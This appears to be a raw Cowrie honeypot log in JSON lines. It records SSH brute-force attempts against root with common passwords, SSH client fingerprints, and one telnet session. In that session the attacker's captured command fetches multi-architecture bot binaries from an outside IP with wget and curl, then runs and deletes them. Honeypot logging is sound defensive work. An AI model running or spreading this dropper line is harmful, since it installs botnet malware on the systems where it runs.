{"eventid":"cowrie.command.input","input":"wget http://176.65.139.148:5001/x86 -O x86; chmod +x x86; ./x86; rm -f x86;curl -O http://176.65.139.148:5001/x86; chmod +x x86; ./x86; rm -f x86;wget http://176.65.139.148:5001/amd64 -O amd64; chmod +x amd64; ./amd64; rm -f amd64;curl -O http://176.65.139.148:5001/amd64; chmod +x amd64; ./amd64; rm -f amd64;wget http://176.65.139.148:5001/arm -O arm; chmod +x arm; ./arm; rm -f arm;curl -O http://176.65.139.148:5001/arm; chmod +x arm; ./arm; rm -f arm;wget http://176.65.139.148:5001/arm5 -O arm5; chmod +x arm5; ./arm5; rm -f arm5;curl -O http://176.65.139.148:5001/arm5; chmod +x arm5; ./arm5; rm -f arm5;wget http://176.65.139.148:5001/arm6 -O arm6; chmod +x arm6; ./arm6; rm -f arm6;curl -O http://176.65.139.148:5001/arm6; chmod +x arm6; ./arm6; rm -f arm6;wget http://176.65.139.148:5001/arm64 -O arm64; chmod +x arm64; ./arm64; rm -f arm64;curl -O http://176.65.139.148:5001/arm64; chmod +x arm64; ./arm64; rm -f arm64;wget http://176.65.139.148:5001/mips -O mips; chmod +x mips; ./mips; rm -f mips;curl -O http://176.65.139.148:5001/mips; chmod +x mips; ./mips; rm -f mips;wget http://176.65.139.148:5001/mipsle -O mipsle; chmod +x mipsle; ./mipsle; rm -f mipsle;curl -O http://176.65.139.148:5001/mipsle; chmod +x mipsle; ./mipsle; rm -f mipsle;wget http://176.65.139.148:5001/bot.exe -O bot.exe; chmod +x bot.exe; ./bot.exe; rm -f bot.exes;curl -O http://176.65.139.148:5001/bot.exe; chmod +x bot.exe; ./bot.exe; rm -f bot.exe","message":"CMD: wget http://176.65.139.148:5001/x86 -O x86; chmod +x x86; ./x86; rm -f x86;curl -O http://176.65.139.148:5001/x86; chmod +x x86; ./x86; rm -f x86;wget http://176.65.139.148:5001/amd64 -O amd64; chmod +x amd64; ./amd64; rm -f amd64;curl -O http://176.65.139.148:5001/amd64; chmod +x amd64; ./amd64; rm -f amd64;wget http://176.65.139.148:5001/arm -O arm; chmod +x arm; ./arm; rm -f arm;curl -O http://176.65.139.148:5001/arm; chmod +x arm; ./arm; rm -f arm;wget http://176.65.139.148:5001/arm5 -O arm5; chmod +x arm5; ./arm5; rm -f arm5;curl -O http://176.65.139.148:5001/arm5; chmod +x arm5; ./arm5; rm -f arm5;wget http://176.65.139.148:5001/arm6 -O arm6; chmod +x arm6; ./arm6; rm -f arm6;curl -O http://176.65.139.148:5001/arm6; chmod +x arm6; ./arm6; rm -f arm6;wget http://176.65.139.148:5001/arm64 -O arm64; chmod +x arm64; ./arm64; rm -f arm64;curl -O http://176.65.139.148:5001/arm64; chmod +x arm64; ./arm64; rm -f arm64;wget http://176.65.139.148:5001/mips -O mips; chmod +x mips; ./mips; rm -f mips;curl -O http://176.65.139.148:5001/mips; chmod +x mips; ./mips; rm -f mips;wget http://176.65.139.148:5001/mipsle -O mipsle; chmod +x mipsle; ./mipsle; rm -f mipsle;curl -O http://176.65.139.148:5001/mipsle; chmod +x mipsle; ./mipsle; rm -f mipsle;wget http://176.65.139.148:5001/bot.exe -O bot.exe; chmod +x bot.exe; ./bot.exe; rm -f bot.exes;curl -O http://176.65.139.148:5001/bot.exe; chmod +x bot.exe; ./bot.exe; rm -f bot.exe","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:07.601239Z","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://176.65.139.148:5001/x86","outfile":"var/lib/cowrie/downloads/abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19","shasum":"abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:08.426476Z","message":"Downloaded URL (http://176.65.139.148:5001/x86) with SHA-256 abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19 to var/lib/cowrie/downloads/abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://176.65.139.148:5001/x86","outfile":"var/lib/cowrie/downloads/abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19","shasum":"abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:08.618123Z","message":"Downloaded URL (http://176.65.139.148:5001/x86) with SHA-256 abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19 to var/lib/cowrie/downloads/abfa5a25bbc6bcc9daae0df29fa384bfd6839fb2d5ed8db2b2eade94df14ff19","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://176.65.139.148:5001/amd64","outfile":"var/lib/cowrie/downloads/9a7e18bccab0b0b8fe3dbc1ab173e263a720f2ea418fd84a853aa7765b0f6026","shasum":"9a7e18bccab0b0b8fe3dbc1ab173e263a720f2ea418fd84a853aa7765b0f6026","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:08.811021Z","message":"Downloaded URL (http://176.65.139.148:5001/amd64) with SHA-256 9a7e18bccab0b0b8fe3dbc1ab173e263a720f2ea418fd84a853aa7765b0f6026 to var/lib/cowrie/downloads/9a7e18bccab0b0b8fe3dbc1ab173e263a720f2ea418fd84a853aa7765b0f6026","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://176.65.139.148:5001/amd64","outfile":"var/lib/cowrie/downloads/9a7e18bccab0b0b8fe3dbc1ab173e263a720f2ea418fd84a853aa7765b0f6026","shasum":"9a7e18bccab0b0b8fe3dbc1ab173e263a720f2ea418fd84a853aa7765b0f6026","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:09.011367Z","message":"Downloaded URL (http://176.65.139.148:5001/amd64) with SHA-256 9a7e18bccab0b0b8fe3dbc1ab173e263a720f2ea418fd84a853aa7765b0f6026 to var/lib/cowrie/downloads/9a7e18bccab0b0b8fe3dbc1ab173e263a720f2ea418fd84a853aa7765b0f6026","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://176.65.139.148:5001/arm","outfile":"var/lib/cowrie/downloads/8a7872675a0f1aeb248d2a819d6b0542e78e0eab230b291d62bc25a03baad9e6","shasum":"8a7872675a0f1aeb248d2a819d6b0542e78e0eab230b291d62bc25a03baad9e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:09.204268Z","message":"Downloaded URL (http://176.65.139.148:5001/arm) with SHA-256 8a7872675a0f1aeb248d2a819d6b0542e78e0eab230b291d62bc25a03baad9e6 to var/lib/cowrie/downloads/8a7872675a0f1aeb248d2a819d6b0542e78e0eab230b291d62bc25a03baad9e6","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://176.65.139.148:5001/arm","outfile":"var/lib/cowrie/downloads/8a7872675a0f1aeb248d2a819d6b0542e78e0eab230b291d62bc25a03baad9e6","shasum":"8a7872675a0f1aeb248d2a819d6b0542e78e0eab230b291d62bc25a03baad9e6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:09.400887Z","message":"Downloaded URL (http://176.65.139.148:5001/arm) with SHA-256 8a7872675a0f1aeb248d2a819d6b0542e78e0eab230b291d62bc25a03baad9e6 to var/lib/cowrie/downloads/8a7872675a0f1aeb248d2a819d6b0542e78e0eab230b291d62bc25a03baad9e6","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://176.65.139.148:5001/arm5","outfile":"var/lib/cowrie/downloads/9e6b6683911678cd13a686ac038cfd335ebc62438992ace60be3ee2bfc927b45","shasum":"9e6b6683911678cd13a686ac038cfd335ebc62438992ace60be3ee2bfc927b45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:09.593880Z","message":"Downloaded URL (http://176.65.139.148:5001/arm5) with SHA-256 9e6b6683911678cd13a686ac038cfd335ebc62438992ace60be3ee2bfc927b45 to var/lib/cowrie/downloads/9e6b6683911678cd13a686ac038cfd335ebc62438992ace60be3ee2bfc927b45","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://176.65.139.148:5001/arm5","outfile":"var/lib/cowrie/downloads/9e6b6683911678cd13a686ac038cfd335ebc62438992ace60be3ee2bfc927b45","shasum":"9e6b6683911678cd13a686ac038cfd335ebc62438992ace60be3ee2bfc927b45","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:09.786701Z","message":"Downloaded URL (http://176.65.139.148:5001/arm5) with SHA-256 9e6b6683911678cd13a686ac038cfd335ebc62438992ace60be3ee2bfc927b45 to var/lib/cowrie/downloads/9e6b6683911678cd13a686ac038cfd335ebc62438992ace60be3ee2bfc927b45","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://176.65.139.148:5001/arm6","outfile":"var/lib/cowrie/downloads/55655adbfe5d03feee0f6675a599bf82cc1c6588d15946b43530e8ef85180137","shasum":"55655adbfe5d03feee0f6675a599bf82cc1c6588d15946b43530e8ef85180137","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:09.985038Z","message":"Downloaded URL (http://176.65.139.148:5001/arm6) with SHA-256 55655adbfe5d03feee0f6675a599bf82cc1c6588d15946b43530e8ef85180137 to var/lib/cowrie/downloads/55655adbfe5d03feee0f6675a599bf82cc1c6588d15946b43530e8ef85180137","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.file_download","url":"http://176.65.139.148:5001/arm6","outfile":"var/lib/cowrie/downloads/55655adbfe5d03feee0f6675a599bf82cc1c6588d15946b43530e8ef85180137","shasum":"55655adbfe5d03feee0f6675a599bf82cc1c6588d15946b43530e8ef85180137","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:10.184329Z","message":"Downloaded URL (http://176.65.139.148:5001/arm6) with SHA-256 55655adbfe5d03feee0f6675a599bf82cc1c6588d15946b43530e8ef85180137 to var/lib/cowrie/downloads/55655adbfe5d03feee0f6675a599bf82cc1c6588d15946b43530e8ef85180137","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"79.143.189.125","src_port":41830,"dst_ip":"10.17.0.5","dst_port":22,"session":"facefa62650f","protocol":"ssh","message":"New connection: 79.143.189.125:41830 (10.17.0.5:22) [session: facefa62650f]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:11.397773Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:11.402264Z","src_ip":"79.143.189.125","session":"facefa62650f","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:11.495480Z","src_ip":"79.143.189.125","session":"facefa62650f","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"Qwerty1234","message":"login attempt [root/Qwerty1234] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:11.928775Z","src_ip":"79.143.189.125","session":"facefa62650f","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.6","message":"Connection lost after 1.6 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:13.049043Z","src_ip":"79.143.189.125","session":"facefa62650f","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"193.228.128.84","src_port":51778,"dst_ip":"159.203.135.109","dst_port":22,"session":"d19c2790825e","protocol":"ssh","message":"New connection: 193.228.128.84:51778 (159.203.135.109:22) [session: d19c2790825e]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:26.907198Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:26.912330Z","src_ip":"193.228.128.84","session":"d19c2790825e","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:27.015852Z","src_ip":"193.228.128.84","session":"d19c2790825e","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"f123456789","message":"login attempt [root/f123456789] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:27.327489Z","src_ip":"193.228.128.84","session":"d19c2790825e","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.5","message":"Connection lost after 1.5 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:28.434460Z","src_ip":"193.228.128.84","session":"d19c2790825e","protocol":"ssh"}
{"eventid":"cowrie.log.closed","ttylog":"var/lib/cowrie/tty/040f3d2fe41208982881a6ef4f6a8d0289aef62ae86bf08787a587e97a543529","size":70160,"shasum":"040f3d2fe41208982881a6ef4f6a8d0289aef62ae86bf08787a587e97a543529","duplicate":false,"duration":"42.9","message":"Closing TTY Log: var/lib/cowrie/tty/040f3d2fe41208982881a6ef4f6a8d0289aef62ae86bf08787a587e97a543529 after 42.9 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:30.344785Z","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.closed","duration":48.1578426361084,"message":"Connection lost after 48 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:30.356452Z","src_ip":"176.65.139.20","session":"d6bdf9939dbb","protocol":"telnet"}
{"eventid":"cowrie.session.connect","src_ip":"103.176.20.57","src_port":42998,"dst_ip":"10.17.0.5","dst_port":22,"session":"befa2b967e70","protocol":"ssh","message":"New connection: 103.176.20.57:42998 (10.17.0.5:22) [session: befa2b967e70]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:38.566941Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:38.571584Z","src_ip":"103.176.20.57","session":"befa2b967e70","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:38.819196Z","src_ip":"103.176.20.57","session":"befa2b967e70","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"tgbyhn","message":"login attempt [root/tgbyhn] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:39.566184Z","src_ip":"103.176.20.57","session":"befa2b967e70","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"2.2","message":"Connection lost after 2.2 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:40.818616Z","src_ip":"103.176.20.57","session":"befa2b967e70","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"78.44.192.210","src_port":53312,"dst_ip":"10.17.0.5","dst_port":22,"session":"832de4dbae78","protocol":"ssh","message":"New connection: 78.44.192.210:53312 (10.17.0.5:22) [session: 832de4dbae78]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:46.085394Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-libssh_0.9.6","message":"Remote SSH version: SSH-2.0-libssh_0.9.6","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:46.090988Z","src_ip":"78.44.192.210","session":"832de4dbae78","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"f555226df1963d1d3c09daf865abdc9a","hasshAlgorithms":"curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group18-sha512,diffie-hellman-group16-sha512,diffie-hellman-group-exchange-sha256,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,ext-info-c;aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1;none","kexAlgs":["curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group18-sha512","diffie-hellman-group16-sha512","diffie-hellman-group-exchange-sha256","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","diffie-hellman-group1-sha1","ext-info-c"],"keyAlgs":["ssh-ed25519","ecdsa-sha2-nistp521","ecdsa-sha2-nistp384","ecdsa-sha2-nistp256","rsa-sha2-512","rsa-sha2-256","ssh-rsa","ssh-dss"],"encCS":["aes256-gcm@openssh.com","aes128-gcm@openssh.com","aes256-ctr","aes192-ctr","aes128-ctr","aes256-cbc","aes192-cbc","aes128-cbc","3des-cbc"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha1-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: f555226df1963d1d3c09daf865abdc9a","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:46.206254Z","src_ip":"78.44.192.210","session":"832de4dbae78","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"P@ssword01!","message":"login attempt [root/P@ssword01!] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:46.671181Z","src_ip":"78.44.192.210","session":"832de4dbae78","protocol":"ssh"}
{"eventid":"cowrie.session.connect","src_ip":"103.77.242.62","src_port":58210,"dst_ip":"159.203.135.109","dst_port":22,"session":"4e748e42bbc6","protocol":"ssh","message":"New connection: 103.77.242.62:58210 (159.203.135.109:22) [session: 4e748e42bbc6]","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:46.748697Z"}
{"eventid":"cowrie.client.version","version":"SSH-2.0-Go","message":"Remote SSH version: SSH-2.0-Go","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:46.764355Z","src_ip":"103.77.242.62","session":"4e748e42bbc6","protocol":"ssh"}
{"eventid":"cowrie.client.kex","hassh":"16443846184eafde36765c9bab2f4397","hasshAlgorithms":"mlkem768x25519-sha256,curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha256,diffie-hellman-group14-sha1,ext-info-c,kex-strict-c-v00@openssh.com;aes128-gcm@openssh.com,aes256-gcm@openssh.com,chacha20-poly1305@openssh.com,aes128-ctr,aes192-ctr,aes256-ctr;hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-sha1-96;none","kexAlgs":["mlkem768x25519-sha256","curve25519-sha256","curve25519-sha256@libssh.org","ecdh-sha2-nistp256","ecdh-sha2-nistp384","ecdh-sha2-nistp521","diffie-hellman-group14-sha256","diffie-hellman-group14-sha1","ext-info-c","kex-strict-c-v00@openssh.com"],"keyAlgs":["rsa-sha2-256-cert-v01@openssh.com","rsa-sha2-512-cert-v01@openssh.com","ssh-rsa-cert-v01@openssh.com","ssh-dss-cert-v01@openssh.com","ecdsa-sha2-nistp256-cert-v01@openssh.com","ecdsa-sha2-nistp384-cert-v01@openssh.com","ecdsa-sha2-nistp521-cert-v01@openssh.com","ssh-ed25519-cert-v01@openssh.com","ecdsa-sha2-nistp256","ecdsa-sha2-nistp384","ecdsa-sha2-nistp521","rsa-sha2-256","rsa-sha2-512","ssh-rsa","ssh-dss","ssh-ed25519"],"encCS":["aes128-gcm@openssh.com","aes256-gcm@openssh.com","chacha20-poly1305@openssh.com","aes128-ctr","aes192-ctr","aes256-ctr"],"macCS":["hmac-sha2-256-etm@openssh.com","hmac-sha2-512-etm@openssh.com","hmac-sha2-256","hmac-sha2-512","hmac-sha1","hmac-sha1-96"],"compCS":["none"],"langCS":[""],"message":"SSH client hassh fingerprint: 16443846184eafde36765c9bab2f4397","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:47.015631Z","src_ip":"103.77.242.62","session":"4e748e42bbc6","protocol":"ssh"}
{"eventid":"cowrie.login.failed","username":"root","password":"1qw23er45t","message":"login attempt [root/1qw23er45t] failed","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:47.768016Z","src_ip":"103.77.242.62","session":"4e748e42bbc6","protocol":"ssh"}
{"eventid":"cowrie.session.closed","duration":"1.7","message":"Connection lost after 1.7 seconds","sensor":"DO-US/New-York/East-Coast","uuid":"1a49166a-ea0d-11f0-ac25-1e47de75ceed","timestamp":"2026-05-27T12:49:47.784992Z","src_ip":"78.44.192.210","session":"832de4dbae78","protocol":"ssh"}
